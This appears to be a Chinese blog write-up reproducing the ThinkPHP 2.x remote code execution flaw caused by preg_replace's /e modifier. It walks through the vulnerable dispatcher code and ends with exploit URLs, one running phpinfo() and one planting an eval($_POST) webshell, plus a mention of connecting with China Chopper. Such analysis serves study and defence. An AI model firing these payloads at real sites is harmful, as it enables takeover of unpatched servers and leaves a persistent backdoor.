欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ThinkPHP 2.x 任意代码执行漏洞

程序员文章站 2022-03-24 20:48:21
...

漏洞详情:

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架。ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

 

影响版本:

Thinkphp2.x系列以及ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

 

漏洞分析:

漏洞原由是因为preg_replace的/e模式匹配路由导致的代码执行:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));为了明白漏洞产生的原因,我们先了解下面几个知识点。

e和/e:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  /e 为PHP专有参数,表示可执行模式

preg_replace()函数:

preg_replace()函数是一个替换函数,支持正则匹配。匹配规则是:('正则规则','替换字符','目标字符')也就是说如果传入的目标字符,符合正则规则的字符的话就替换这个字符。

如果说在正则规则用的是/e而不是e,那么当传入的目标字符,符合正则规则的的话,就就会执行‘替换字符’的内容。比如说:

<?php

@preg_replace('/a/e','print("hello jammny!");','abc');>

ThinkPHP 2.x 任意代码执行漏洞

那么我们去到代码中,看看是怎么回事。

问题代码存在/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

ThinkPHP 2.x 任意代码执行漏洞

根据注释知道这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。

重点关注代码:

// 分析PATHINFO信息

        self::getPathInfo();


        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL

            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

            $var  =  array();

            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){

                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';

                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {

                    // 禁止直接访问分组

                    exit;

                }

            }

            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称

                $var[C('VAR_MODULE')]  =   array_shift($paths);

            }

            $var[C('VAR_ACTION')]  =   array_shift($paths);

            // 解析剩余的URL参数

            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

            $_GET   =  array_merge($var,$_GET);

        }

 

前面的self::getPathInfo(); 表示没有路由规则,因此会按默认规则调度URL。也就会执行这段有问题的代码:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

'$var[\'\\1\']="\\2";'是对数组键值进行添加操作。之前$var  =  array();表示创建了一个空数组。(\w+)\/([^/]+),这个正则的意思是每次取路径的2个参数,依次排序。举个例子:

<?php

$var = array();

preg_replace("/(\w+)\/([^\/\/])/e",'$var[\'\\1\']="\\2";',"a/b/c/d/e/f");

print_r ($var);

ThinkPHP 2.x 任意代码执行漏洞

每次取出2个参数,第一个参数作为数组的键,第二个参数作为数组的值。因此如果'a/b/c/d/e/f'的参数是可控的,那么我们就能进行代码执行。

<?php

$var = array();

preg_replace("/(\w+)\/([^\/\/])/e",'$var[\'\\1\']="\\2";',"a/{${phpversion()}}/c/d/e/f");

print_r ($var);

ThinkPHP 2.x 任意代码执行漏洞

 

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));表示当前路径。

implode($depr,$paths)作用就是把路径当作参数放进了数组$var里面。

由于下面的代码:

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称

                $var[C('VAR_MODULE')]  =   array_shift($paths);

            }

            $var[C('VAR_ACTION')]  =   array_shift($paths);

因此路径前2个值是要作为模块和动作的,如果模块和动作还没有定义就删除它。因此可以构造payload如下

构造payload:

ThinkPHP 5.1在没有定义路由的情况下典型的URL访问则是:

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

thinkphp 所有的主入口文件默认访问Index控制器(模块),thinkphp 所有的控制器默认执行index动作(方法)

因此可以构造payload(注意函数放在键值的位置):

http://192.168.30.128:8080/?s=/Index/index/jammny/${@phpinfo()}

http://192.168.30.128:8080/?s=/a/b/c/${@phpinfo()}/e/f

 

漏洞利用:

访问漏洞存在页面

ThinkPHP 2.x 任意代码执行漏洞

构造payload:http://192.168.30.128:8080/?s=/Index/index/jammny/${@phpinfo()}

ThinkPHP 2.x 任意代码执行漏洞

写入一句话:http://192.168.30.128:8080/?s=/Index/index/jammny/${@print(eval($_POST[1]))}

ThinkPHP 2.x 任意代码执行漏洞

菜刀连接一句话:

ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x 任意代码执行漏洞

END

参考:https://www.freebuf.com/articles/people/223149.html

相关标签: 漏洞复现系列